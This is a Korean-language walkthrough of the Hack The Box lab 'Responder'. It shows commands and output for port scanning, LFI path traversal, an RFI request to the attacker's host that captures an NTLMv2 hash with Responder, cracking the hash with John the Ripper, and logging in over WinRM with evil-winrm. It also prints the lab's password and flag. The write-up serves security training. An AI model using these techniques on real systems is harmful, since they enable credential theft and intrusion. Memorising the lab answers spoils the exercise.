[STARTING_POINT] Tier1 Responder

Task 1
When visiting the web service using the IP address, what is the domain that we are being redirected to? IP 주소로 웹 서비스에 접속했을 때, 어떤 도메인으로 리다이렉트되나요?
문제를 읽어봤을 때 이번 머신에서는 http 또는 https 프로토콜을 이용해서 웹 서비스가 동작하고 있는 것 같습니다.
머신의 IP 주소로 웹서비스에 접속하기 위해 nmap 스캐닝을 진행합니다. (포트 확인)
┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.129.10.158 -p- -n -Pn -sV -sC --open --min-rate 2000
[sudo] password for kali:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-23 15:13 +0900
Nmap scan report for 10.129.10.158
Host is up (0.24s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp open pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 126.94 seconds
해당 머신은 Windows OS를 사용중이고, 현재 tcp/80번 포트에서 웹 서비스가 동작하고 있다는 것을 알 수 있습니다.
기본 포트를 사용중이기 때문에 바로 웹페이지에 접근해봤습니다.

연결할 수 없다는 문구가 나옵니다. 여기서 url을 보면, ip로 접속을 시도했는데, 어떠한 도메인(unika.htb)으로 접속이 된 것을 볼 수 있습니다.
이는 이름 기반 가상 호스팅(Name-based Virtual Hosting)을 사용중이기 때문인데, 현재 호스트는 unika.htb를 어디로 찾아가야하는지 알지 못하는 상태입니다.
- Name-based Virtual Hosting : 하나의 IP 주소에서 여러 도메인을 호스팅하는 방식입니다.
- 웹서버는
Host헤더 필드에 제공된 도메인 이름을 확인한 뒤, 그에 맞는 응답을 보냅니다.
- 웹서버는
IP 접속을 시도했을 때 패킷에는 보통 Host 헤더가 들어가지 않습니다. 웹서버는 Host 헤더가 비어있음을 확인하고, Host 헤더 필드에 unika.htb 를 넣어 리다이렉트를 시킵니다.
호스트에서는 unika.htb로 리다이렉트하기 위해 Domain name을 다시 IP로 해석하게 되는데, 이 과정에서 DNS가 IP를 찾지 못해 릭다이렉트에 실패하게 됩니다.
이를 해결 하기 위해서는 /etc/hosts 라는 파일에 해당 도메인이 따라가야한 IP를 등록해주어야합니다.
sudo vim /etc/hosts
마지막 줄에 다음과 같이 IP와 도메인을 추가해줍니다.
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.10.158 unika.htb
저장 후, 다시 접속을 시도해보면?

정상적으로 접근이 되는 것을 볼 수 있습니다.
Task 2
Which scripting language is being used on the server to generate webpages? 서버에서 웹페이지를 생성하는 데 사용되고 있는 스크립트 언어는 무엇인가요?
chrome 확장 프로그램인 Wappalyzer 를 이용하면 접속한 사이트의 기술 스택을 확인할 수 있습니다.
Wappalyzer는 chrome store에서 쉽게 다운로드 가능합니다.

Wappalyzer가 수집하지 못한 기술 스택이 있을 수 있습니다.
Wappalyzer 를 열어보면, 해당 서버는 php 스크립트 언어를 사용하여 웹페이지를 생성하고 있음을 알 수 있습니다.
-
PHP : 웹 개발에 많이 쓰이는 서버 사이드 프로그래밍 언어입니다.
- 서버가
.php파일을 실행 - php 코드 동작
- 결과를 html로 만들어서 브라우저로 보냄
이렇듯 php 코드는 실행된 결과를 반환해줍니다.
- 서버가
Task 3
What is the name of the URL parameter which is used to load different language versions of the webpage? 웹페이지의 서로 다른 언어 버전을 불러오는 데 사용되는 URL 파라미터의 이름은 무엇인가요?
페이지 우측 상단 메뉴에 EN 이라는 메뉴를 확인할 수 있는데, 여기에 마우스를 올려보면

FR, DE 각가 프랑스어와 독일어로 변경이 가능한 것을 볼 수 있습니다.
둘 중 아무거나 선택하여 클릭해보면,

웹 페이지 언어가 선택한 언어로 변경되게 됩니다.
여기서 url 을 보면,
http://unika.htb/index.php?page=french.html
아까는 없던, index.php?page=french.html 을 볼 수 있습니다.
여기서 index.php는 파일명이며, 뒤에 붙는?page=french.html 은 URL 파라미터입니다.
?는 Query String으로 뒤에 붙는 내용은 서버에 추가 정보를 전달합니다.- GET 방식의 URL 파라미터로, page 라는 파라미터에 french.html 을 전달하고 있습니다.
- 그리고 이 page 파라미터는 index.php 내부에서 사용되게 됩니다.
즉, index.php는 page라는 파라미터를 통해 다른 파일을 불러와 이를 보여주는 기능을 하고 있습니다.
Task 4
Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, ”../../../../../../../../windows/system32/drivers/etc/hosts”, “minikatz.exe”
다음 page 파라미터 값들 중, 로컬 파일 포함(Local File Include, LFI) 취약점 악용의 예시는 무엇인가요?
LFI (Local File Include) 취약점은 백엔드에서 파일이나 페이지를 포함 시키거나 불러오는 기능을 악용해서 공격자가 원하는 파일을 읽어오는 공격을 말합니다.
문제에서는 LFI 취약점의 예시를 보기를 통해 선택하도록 되어 있습니다.
"french.html""//10.10.14.6/somefile""../../../../../../../../windows/system32/drivers/etc/hosts""minikatz.exe"
이전에 wappalyzer 의 결과에 서버 OS가 Windows 라는 것을 알아냈습니다.
Windows에는 linux의 /etc/hosts 와 같은 설정 파일인 /windows/system32/drivers/etc/hosts 가 존재합니다.
LFI 는 서버 자기 자신에 존재하는 파일을 포함하거나 읽을 수 있기에 파일을 상대 경로로 지정하면 이를 포함 시킬 수 있습니다.
../를 반복해 최상위 디렉터리로 이동 후,/windows/system32/drivers/etc/hosts를 읽어오는 것이 가능합니다.

그래서 정답은 ../../../../../../../../windows/system32/drivers/etc/hosts 입니다.
Task 5
Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, ”../../../../../../../../windows/system32/drivers/etc/hosts”, “minikatz.exe”
다음 page 파라미터 값들 중, 원격 파일 포함(Remote File Include, RFI) 취약점 악용의 예시는 무엇인가요?
RFI (Remote File Include) 취약점은 백엔드에서 파일이나 페이지를 포함시키거나 불러오는 기능을 악용하여, 공격자가 원격 서버에 존재하는 파일을 가져오도록 만드는 공격을 말합니다.
이번 문제도 보기가 주어졌습니다.
"french.html""//10.10.14.6/somefile""../../../../../../../../windows/system32/drivers/etc/hosts""minikatz.exe"
RFI는 LFI와 다르게 서버 자신에게 있는 파일이 아니라 외부 시스템에 있는 파일을 포함시킬 수 있습니다.
따라서 외부 호스트에 있는 파일을 참조하는, //10.10.14.6/somefile 이 정답입니다.
Task 6
What does NTLM stand for? NTLM은 무엇의 약자인가요?
NTLM은 New Technology Lan Manager의 약어로, 윈도우 환경에서 사용하는 인증(Authentication) 방식 중 하나입니다.
파일 공유(SMB), 원격 로그인, 윈도우 네트워크 서비스 등에 접근할 때, 접근하려는 계정이 권한이 있는지 확인할 때 사용됩니다.
NTLM은 Challenge-Response 모델을 사용하며, Challenge-Response 모델은 서버가 제시하는 challenge 값을 사용자가 알고리즘에 입력해서 출력되는 값을 얻고, 이를 response 값으로 서버에 전송하여 자신을 인증하는 방식을 말합니다.
동작 원리는 다음과 같습니다.
- 서버에서 클라이언트로 challenge 값을 보냅니다. (이때 challenge는 임의의 값입니다.)
- challenge 값을 받은 클라이언트는 이 challenge 값을 서로 합의한 알고리즘(대칭키)을 이용해서 계산합니다.
- 계산한 값을 response 값으로 해서 서버에게 전달합니다.
- 서버는 전달 받은 response 값을 자신이 계산한 값과 일치하는지 확인한 후 인증을 완료합니다.
여기서 challenge 값은 일회성이기 때문에 서버는 계속 새로운 challenge 값을 발생하게 됩니다.
Responder라는 툴이 존재하는데, 이를 이용하면 로컬 네트워크에서 이름 해석 프로토콜을 악용해 인증 정보를 가로챌 수 있습니다.
Task 7
Which flag do we use in the Responder utility to specify the network interface? Responder 유틸리티에서 네트워크 인터페이스를 지정할 때 사용하는 옵션은 무엇인가요?
Responder는 인증 시도 과정에서 인증 정보를 가로채는 툴입니다.
여기서는 Responder가 악성 SMB 서버처럼 동작하며, 대상 서버가 인증을 시도하면 challenge/response를 받아 NetNTLMv2 형태로 남깁니다.
- 알고 있는 값
- challenge
- response
여기서 중요한 점은 이 값이 평문 비밀번호는 아니지만, 나중에 브루트포스로 찾을 수 있다는 것입니다. (Responder가 challenge 값을 보내기 때문에, 이 값으로 해시 크래킹이 가능합니다.)
우선 통신할 네트워크 인터페이스를 지정하여 Responder를 실행해줍니다.
네트워크 인터페이스를 지정하는 옵션은 -I 입니다.
sudo responder -I tun0
그리고 머신의 웹서비스로 돌아가 page 파라미터에 공격자 ip를 통해 어떠한 파일에 접근하도록 페이로드를 만들어 요청을 보내면 responder가 NTLM 인증을 탈취하게 됩니다. (인증 데이터 탈취만 하기 때문에, 어떤 파일을 요청하든 상관없습니다. SMB 프로토콜 형태를 만들기 위함입니다.)
http://unika.htb/index.php?page=//10.10.15.16/monkeygod

이렇게 얻은 해시 값을 hash.txt 파일로 저장하여 크랙을 시도합니다.
Administrator::RESPONDER:14c5ceb2dddba3db:1E2D69908B6466C4BE1D55B50B2676E2:0101000000000000807FF4D806BCDC017ED37F42B0F8FA840000000002000800500043004500470001001E00570049004E002D0051003300420055003400340044004A004C004100510004003400570049004E002D0051003300420055003400340044004A004C00410051002E0050004300450047002E004C004F00430041004C000300140050004300450047002E004C004F00430041004C000500140050004300450047002E004C004F00430041004C0007000800807FF4D806BCDC010600040002000000080030003000000000000000010000000020000028985D2B8408AD7036EBD669833D84654C581BCE55B9F660766B85897EB42A5B0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00310036000000000000000000
Task 8
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.
NetNTLMv2 챌린지/응답을 받아 수백만 개의 비밀번호를 대입해 같은 응답이 나오는지 시도하는 도구들이 있습니다. 그중 하나는 흔히 john이라고 불리는데, 전체 이름은 무엇인가요?
정답은 John The Ripper 입니다. 패스워드 크래킹으로 유명한 툴이며, kali linux에는 기본적으로 설치되어 있습니다.
사용법은 다음과 같습니다.
john --wordlist=<path> --rules <unshadowed.txt> --format=<ex. md5>
--wordlist또는-w: 대조할 단어 목록 파일을 지정합니다.--rules: 워드리스트의 단어를 변형해서 더 많은 시도를 하는 옵션입니다.- ex. password → Password, pasSword, password1, etc…
--format: 어떤 종류의 해시 방식을 사용했는지 지정합니다.
Task 9
What is the password for the administrator user? administrator 사용자의 비밀번호는 무엇인가요?
이를 방금 저장한 hash.txt에 적용해보겠습니다.
john -w=/usr/share/wordlists/rockyou.txt hash.txt
rockyou.txt 워드리스트는 kali에서 제공되는 기본적인 워드리스트이며,
/usr/share/wordlist/에 위치합니다. 처음 사용하게되면 .gz 형태로 압축이 되어있으니gzip -d <file>로 decompress 해주어야합니다.
┌──(m0nk3ygod㉿m0nk3ygod)-[~/Documents/htb_starting/responder]
└─$ john -w=/usr/share/wordlists/rockyou.txt test.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
**badminton (Administrator)**
1g 0:00:00:00 DONE (2026-03-25 03:39) 100.0g/s 409600p/s 409600c/s 409600C/s adriano..oooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
이렇게 Administrator 계정에 대한 패스워드도 획득할 수 있습니다.
패스워드는 badminton 입니다.
Task 10
We’ll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on? 복구한 비밀번호를 사용해, 박스에서 실행 중인 Windows 서비스를 통해 Responder 머신에 원격 접근할 것입니다. 이 서비스는 어느 TCP 포트에서 수신 대기하나요?
정답은 5985 입니다. Task 1에서 진행한 nmap 스캐닝 결과에서 알 수 있습니다.
┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.129.10.158 -p- -n -Pn -sV -sC --open --min-rate 2000
[sudo] password for kali:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-23 15:13 +0900
Nmap scan report for 10.129.10.158
Host is up (0.24s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp open pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 126.94 seconds
처음보는 서비스이니 검색을 해봅니다.

5985포트는 winrm 이라는 프로토콜이 이라는 것을 알 수 있습니다.
winrm은 리눅스의 SSH와 같은 느낌으로, 원격 명령 실행, Powershell 세션 연결, 시스템 관리 자동화, 서버 설정 조회/변경 등을 할 수 있는 프로토콜을 말합니다.
- HTTP는 5985, HTTPS는 5986 프로토콜을 기본으로 사용합니다.
접속을 위해서는 evil-winrm 이라는 클라이언트 툴을 사용합니다.
사용법은 다음과 같습니다.
evil-winrm -i [ip] -u [user] -p [password]
-i: ip를 지정합니다.-u: 접속할 계정명을 지정합니다.-p: 접속할 때 사용할 패스워드를 지정합니다.
Submit Flag
Submit root flag
얻은 계정 정보를 이용해 evil-winrm으로 접속을 시도해보겠습니다.
evil-winrm -i 10.129.4.16 -u Administrator -p 'badminton'
┌──(m0nk3ygod㉿m0nk3ygod)-[~/Documents/openvpn/htb]
└─$ evil-winrm -i 10.129.11.198 -u Administrator -p 'badminton'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
실행하면 정상적으로 접속되어 Powershell 이 실행된 모습을 볼 수 있고,
mike 유저 디렉터리의 바탕화면(Desktop)에서 플래그를 획득할 수 있습니다.
*Evil-WinRM* PS C:\Users\mike\Desktop> dir
Directory: C:\Users\mike\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/10/2022 4:50 AM 32 flag.txt
*Evil-WinRM* PS C:\Users\mike\Desktop> type flag.txt
ea81b7afddd03efaa0945333ed147fac
Flag : ea81b7afddd03efaa0945333ed147fac
← ALL POSTS